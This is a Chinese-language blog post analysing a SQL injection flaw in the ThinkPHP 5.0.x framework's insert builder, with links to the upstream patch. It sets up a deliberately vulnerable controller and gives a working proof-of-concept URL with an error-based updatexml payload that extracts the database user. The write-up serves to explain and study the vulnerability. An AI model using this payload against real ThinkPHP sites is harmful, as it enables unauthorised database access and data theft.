• ThinkPHP 5.0.x SQL注入分析


    前言

      前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图。最近几天忙于找工作的事情,没来得及看。趁着中午赶紧搭起环境分析一波。Think PHP就不介绍了,搞PHP的都应该知道。

    环境搭建

      本文中的测试环境为ThinkPHP 5.0.15的版本。下载,解压好以后,开始配置。首先开启debug,方便定位问题所在。修改applicationconfig.php, app_debug和app_trace都改成true。然后创建数据库,并且修改applicationdatabase.php为自己数据库的配置。

      我这里创建数据库需要的sql文件:

    create table `user` (
      `uid` int(10) NOT NULL AUTO_INCREMENT,
      `username` varchar(255) NOT NULL DEFAULT '',
      `password` varchar(255) NOT NULL DEFAULT '',
      PRIMARY KEY (`uid`)
    )ENGINE=InnoDB DEFAULT CHARSET=UTF8;

      然后我们找到applicationindexcontrollerIndex.php这个文件,也就是我们的控制器文件,然后添加如下方法:

      

        public function sqli() {
            // 从GET数组方式获取用户信息
            $user = input('get.username/a');
            // 实例化数据库类并且调用insert方法进行数据库插入操作
            db('user')->where(['uid' =>1])->insert(['username' => $user]);
        }

    漏洞复现

    然后我们访问:http://127.0.0.1/thinkphp_5.0.15_full/public/index.php/index/index/sqli?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=233

    注意这里的路径的问题,ThinkPHP的默认入口文件在public目录下的index.php。具体可以自行跟进。

    然后我们可以看到已经成功查询出当前数据库的信息:

    漏洞分析:

      我们重点来看报错的堆栈信息:

     1 in Connection.php line 456
     2 at Connection->execute('INSERT INTO `user` (...', []) in Query.php line 241
     3 at Query->execute('INSERT INTO `user` (...', []) in Query.php line 2095
     4 at Query->insert(['username' => ['inc', 'updatexml(1,concat(0...', '233']]) in Index.php line 15
     5 at Index->sqli()
     6 at ReflectionMethod->invokeArgs(object(Index), []) in App.php line 343
     7 at App::invokeMethod([object(Index), 'sqli'], []) in App.php line 595
     8 at App::module(['index', 'index', 'sqli'], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...], null) in App.php line 457
     9 at App::exec(['type' => 'module', 'module' => ['index', 'index', 'sqli']], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...]) in App.php line 139
    10 at App::run() in start.php line 19
    11 at require('D:phpstudyWWW	hin...') in index.php line 17

    很明显到第五行以后的部分都是框架初始化的部分,我们可以略过。感兴趣可以自行研究。我们重点关心后续SQL执行的操作。

    我们看到在第五行调用Index类中的sqli方法的时候调用了Query类的insert方法,这个类在 thinkphplibrary hinkdbQuery.php, 2079行。然后我打印这里传入的第一个参数,也就是参数表中的$data参数,结果如下:

    array(1) { ["username"]=> array(3) { [0]=> string(3) "inc" [1]=> string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)" [2]=> string(3) "233" } }

    然后我们传入的username数组。然后我们跟踪整个数据流的传递过程。insert函数中首先进行的时候$options = $this->parseExpress();注释里边写的很清楚了,分析查询表达式,我们重点关心data数据的传递流程。

     1     public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
     2     {
     3         // var_dump($data);exit();
     4         // 分析查询表达式
     5         $options = $this->parseExpress();
     6         $data    = array_merge($options['data'], $data);
     7         var_dump($data);exit();
     8         // 生成SQL语句
     9         $sql = $this->builder->insert($data, $options, $replace);
    10         // 获取参数绑定
    11         $bind = $this->getBind();
    12         if ($options['fetch_sql']) {
    13             // 获取实际执行的SQL语句
    14             return $this->connection->getRealSql($sql, $bind);
    15         }
    16 
    17         // 执行操作
    18         $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
    19         if ($result) {
    20             $sequence  = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
    21             $lastInsId = $this->getLastInsID($sequence);
    22             if ($lastInsId) {
    23                 $pk = $this->getPk($options);
    24                 if (is_string($pk)) {
    25                     $data[$pk] = $lastInsId;
    26                 }
    27             }
    28             $options['data'] = $data;
    29             $this->trigger('after_insert', $options);
    30 
    31             if ($getLastInsID) {
    32                 return $lastInsId;
    33             }
    34         }
    35         return $result;
    36     }

    在合并数组之后,$data的内容为,

    array(1) {
      ["username"]=>
      array(3) {
        [0]=>
        string(3) "inc"
        [1]=>
        string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)"
        [2]=>
        string(3) "233"
      }
    }

    然后生成sql,也就是如下操作:

    $sql = $this->builder->insert($data, $options, $replace);

    在这步执行完成以后,打印一下sql。结果如下:

    string(85) "INSERT INTO `user` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+233) "

    至此,我们的漏洞定位已经完成。在builder类中调用insert方法时候的问题,我们跟进就好了:

        public function insert(array $data, $options = [], $replace = false)
        {
            // 分析并处理数据
            $data = $this->parseData($data, $options);
            if (empty($data)) {
                return 0;
            }
            $fields = array_keys($data);
            $values = array_values($data);
    
            $sql = str_replace(
                ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
                [
                    $replace ? 'REPLACE' : 'INSERT',
                    $this->parseTable($options['table'], $options),
                    implode(' , ', $fields),
                    implode(' , ', $values),
                    $this->parseComment($options['comment']),
                ], $this->insertSql);
    
            return $sql;
        }

    我们看到首先进行的操作是

    $data = $this->parseData($data, $options);

    继续跟进,在parseData函数中,对$data进行了遍历,然后如果val的第一个元素为inc,dec或者exp都会进入拼接。然后生成sql。

    代码如下:

        protected function parseData($data, $options)
        {
            if (empty($data)) {
                return [];
            }
    
            // 获取绑定信息
            $bind = $this->query->getFieldsBind($options['table']);
            if ('*' == $options['field']) {
                $fields = array_keys($bind);
            } else {
                $fields = $options['field'];
            }
    
            $result = [];
            foreach ($data as $key => $val) {
                $item = $this->parseKey($key, $options);
                if (is_object($val) && method_exists($val, '__toString')) {
                    // 对象数据写入
                    $val = $val->__toString();
                }
                if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
                    if ($options['strict']) {
                        throw new Exception('fields not exists:[' . $key . ']');
                    }
                } elseif (is_null($val)) {
                    $result[$item] = 'NULL';
                } elseif (is_array($val) && !empty($val)) {
                    switch ($val[0]) {
                        case 'exp':
                            $result[$item] = $val[1];
                            break;
                        case 'inc':
                            $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                            break;
                        case 'dec':
                            $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                            break;
                    }
                } elseif (is_scalar($val)) {
                    // 过滤非标量数据
                    if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                        $result[$item] = $val;
                    } else {
                        $key = str_replace('.', '_', $key);
                        $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                        $result[$item] = ':data__' . $key;
                    }
                }
            }
            return $result;
        }

    接着在insert方法中进行字符替换,然后返回最终执行的sql语句。

    参考文章:

    【先知社区】https://xz.aliyun.com/t/2257

     【Github补丁】https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

  • 相关阅读:
    洛谷P1057传球游戏(逆向递推递归+记忆化)
    洛谷P1433吃奶酪(正向暴力递归,回溯更新)
    洛谷P1434滑雪(逆向图的遍历搜索递归+记忆化,最长路问题)
    洛谷P1192台阶问题(逆向递推递归dfs+记忆化)
    洛谷p1025数的划分(正向暴力递归,数学排列与组合问题)
    洛谷P1141 01迷宫(图的遍历搜素递归dfs或bfs,连痛块回溯更新问题,记忆化或者并查集根结点)
    Git 版本更新--Windows
    plop-templates自动新建项目文件
    前端-随机生成测试数据-mockjs
    cookie、seseionStorage、localStorage的区别
  • 原文地址:https://www.cnblogs.com/magic-zero/p/8820776.html
Copyright © 2020-2023  润新知